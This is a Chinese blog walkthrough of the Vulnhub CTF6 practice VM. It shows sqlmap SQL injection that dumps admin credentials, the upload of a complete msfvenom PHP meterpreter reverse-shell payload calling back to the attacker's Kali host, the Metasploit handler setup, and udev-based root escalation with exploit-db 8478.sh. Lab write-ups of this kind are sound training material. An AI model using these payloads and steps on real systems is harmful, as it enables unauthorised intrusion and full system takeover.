Vulnhub-CTF6靶机实战

前言

靶机下载地址:下载地址

KALI地址:192.168.10.73

靶机地址:192.168.10.40


一.信息收集

1.主机发现

使用命令如下,来进行主机发现

netdiscover -r 192.168.10.73

如下图发现了靶机地址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rMcwzFW1-1652756796431)(/images/wordimage/2022/0517/net.png)]


2.主机扫描

这使用的是nmap命令来进行的主机扫描,如下命令

nmap -A -T4 -p- 192.168.10.40

如下图,扫描结果,发现开放了很多端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VT65pavE-1652756796432)(/images/wordimage/2022/0517/nmap.png)]


3.目录扫描

既然扫描端口开放了80端口,那么肯定是网站,那么二话不说直接来一通目录扫描,使用命令如下

dirb http://192.168.10.40

如下图,扫出来很多目录,红色箭头是我自己觉得可能很重要的目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wq2dSQJr-1652756796433)(/images/wordimage/2022/0517/dirb.png)]


4.网页信息收集

我们打开网站首页发现类似于文章的页面,并且有login,证明可以登录,然后每篇文章都可以点Read More,但是点进去之后,发现上面URL地址,是id出头的,经过测试可以更换后面的数字进行文章跳转,如果在后面加一个其他字符,就不能跳转了,猜测可能有SQL注入,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eDoEMDfP-1652756796434)(/images/wordimage/2022/0517/SQL.png)]

根据上面信目录扫描,发现了一个邮件系统,如下图,可能有用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UF249Dqt-1652756796434)(/images/wordimage/2022/0517/mail.png)]

然后我们访问doc目录,发现了一个压缩包可以下载下来,并且里面还有一个phpinfo,可以看看php版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zgdPs0tn-1652756796435)(/images/wordimage/2022/0517/doc.png)]

我们访问sql目录,发现了一个文件,并且文件里面有密码和用户泄露,可能有用,如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pQGdiupm-1652756796435)(/images/wordimage/2022/0517/passanduser.png)]

然后根据目录扫描还发现了phpmyadmin如下图,可能后面有用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uz2K38pe-1652756796436)(/images/wordimage/2022/0517/phpmyadmin.png)]


二.漏洞利用

1.SQL注入

根据上面网页信息收集,发现文章id可能有SQL注入,我们直接使用sqlmap一把梭试试看,如下命令

python sqlmap.py -u "http://192.168.10.40/?id=1" --dbs

如下图,爆破出了所有的数据库,这里就觉得cms数据库可疑就他了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wCLUg6ar-1652756796437)(/images/wordimage/2022/0517/sqlmapcms.png)]

所以一路凭感觉就发现了账户密码,使用命令如下。

python sqlmap.py -u "http://192.168.10.40/?id=1" -D cms -T user -C user_username,user_password --dump

如下图,发现了账户密码,和上面网页信息收集的时候发现的账户密码一直对应了,这里猜测是后台登录密码和账户,正好首页有一个登录框。

账户:admin

密码:adminpass

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Efr41jFH-1652756796437)(/images/wordimage/2022/0517/password.png)]


2.文件上传

根据上面SQL注入获取到的密码账户,成功登录到了后台,然后在Add Event选项,发现了上传选项!!!这不得上传?如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vI86WEIH-1652756796438)(/images/wordimage/2022/0517/webshell.png)]

然后经过测试,发现这里上传根本没有过滤,直接上传php文件即可,这里我们打开KALI,输入命令如下来生成一个php木马。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.73 LPORT=4444 -f raw

生成的木马代码如下

*<?php /**/ error_reporting(0); $ip = '192.168.10.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

然后我们在再msf里面打开监听,操作流程如下

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                   
                                                  

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .                                                                         
                ',@@     @   ;           _____________                                                 
                 (   3 C    )     /|___ / Metasploit! \                                                
                 ;@'. __*__,."    \|--- \_____________/                                                
                  '(.,...."/                                                                           


       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View all productivity tips with the 
tips command

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set LHOST 192.168.10.73
LHOST => 192.168.10.73
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.10.73:4444 

之后我们再把生成的木马的代码,放进一个php文件里面然后直接上传上去即可,如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BwbZN0ud-1652756796438)(/images/wordimage/2022/0517/mumaphp.png)]

怎么找到路径呢,我们回到首页,然后如下图所示打开即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PR7i5rBS-1652756796439)(/images/wordimage/2022/0517/shell.png)]

打开之后,发现就成功反弹了meterpreter如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SqDOuX3d-1652756796439)(/images/wordimage/2022/0517/meterpreter.png)]


三.提权

来到了后台,再meterpreter的地方输入shell来获取一个控制台,然后输入命令whereis python来查找靶机是否有python,发现是有的然后再输入python -c "import pty; pty.spawn('/bin/bah')"来获取一个新的binbash,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-249YcAX7-1652756796440)(/images/wordimage/2022/0517/shellok.png)]

之后就可以再靶机里面找信息,查看是否有提权的可能,经过一番查找(指的是找了半小时),发现再系统层面,系统内核是2.6!!!,如下图,查看命令是uname -a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EamvS79q-1652756796440)(/images/wordimage/2022/0517/2_6neihe.png)]

1.udev提权

udev漏洞针对的是linux2.6的内核,正好靶机是这个内核,所以这里可以使用udev漏洞来进行提权,首先我们去kali搜索是否拥有这个提权文件,发现是有的,搜索命令是searchsploit udev,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MAnXW1QS-1652756796441)(/images/wordimage/2022/0517/udev.png)]

然后我们把这个文件复制到桌面,使用命令如下。

cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./

然后我们使用meterpreter来把文件上传到靶机的/tmp文件夹,命令是upload /root/Desktop/8478.sh /tmp,需要在meterpreter的命令行输入,如果从shell回到meterpreter的命令行只需要按ctrl +c即可,然后方便做下一步操作,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-udA13yZt-1652756796442)(/images/wordimage/2022/0517/tiquanfile.png)]

回到靶机,cd到tmp文件夹,发现提权文件已经在里面了,我们现在只需要给文件赋予777权限,命令是chmod 777 8478.sh

然后我们在查看一下udev id查看命令是ps -ef |grep udev,如下图,发现是568

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GyVqly5q-1652756796442)(/images/wordimage/2022/0517/568.png)]

之后我们执行文件的时候加上这个id即可提权,如下图提权成功,命令是./8478.sh 568

如下图提权,成功,发现id变成了root,并且$变成了#,完成!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yT5mCVrL-1652756796443)(/images/wordimage/2022/0517/idroot.png)]


四.总结

udev提权很重要

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值